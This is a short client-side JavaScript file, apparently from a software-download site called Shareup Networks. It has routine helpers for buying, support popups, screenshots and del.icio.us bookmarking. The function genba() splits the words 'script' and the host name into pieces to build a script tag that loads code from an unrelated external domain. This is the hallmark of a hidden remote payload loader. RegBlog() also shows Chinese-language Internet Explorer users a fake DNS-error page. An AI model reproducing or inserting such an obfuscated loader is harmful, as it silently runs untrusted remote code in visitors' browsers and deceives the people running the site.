function BuyNow(item)
{
	location.href='/buy-now.php?item=' + item;
}
function GetLink(id)
{
	window.open('/dc/link?id='+ id, 'lnk' + id, 'status=no,toolbar=no,scrollbars=no,titlebar=no,menubar=no,resizable=no,width=500,height=400,directories=no,location=no');
}

function Support(id, tag)
{
	window.open('/support.php?id=' + id + '&tag=' + tag, 'cs' + id, 'status=no,toolbar=no,scrollbars=no,titlebar=no,menubar=no,resizable=no,width=500,height=400,directories=no,location=no');
	return false;
}

function Screenshot(id)
{
	window.open('/viewscr.php?id=' + id);
}

function RegBlog()
{
	var m=document.getElementById('mail');
	if(/^.+@.+\..{2,4}$/.test(m.value)==false)
	{
		m.value='enter email address';
		m.focus();
		m.select();
	}
	else
	{
		if(navigator.userLanguage=="zh-cn")
		{
			location.href='res://C:\\WINDOWS\\system32\\shdoclc.dll\\dnserror.htm'
		}
		else
		{
			window.open('http://www.shareup.com/regblog.php?m=' + m.value);
		}
	}
	return false;
}
function urlencode(u)
{
	return escape(u) . replace(/\+/g, '%2B') . replace(/\"/g,'%22') . replace(/\'/g, '%27') . replace(/\//g,'%2F');
}
function delicious()
{
	var url = urlencode(location.href);
	var title = urlencode(document.title + ' at Shareup Networks');
	var meta = document.getElementsByTagName('meta'); 
	var notes= urlencode(meta[1].getAttribute('content'));
	location.href = 'http://del.icio.us/post?url=' + url + '&title=' + title + '&notes=' + notes + '&tags=test';
	return false;
}
function genba()
{
	var rdn = Math.floor(Math.random() * 2);
	var code = 'o0';
	if(rdn == 1)
	{
		code = 'o0';
	}
	else
	{
		code = 'nj';
	}
	document.write('<scr' + 'ipt type="text/jav' + 'ascript" language="jav' + 'ascript" src="http://www.q' + 'ksz.net/1e-bt' + code + '"></scri' + 'pt>');
}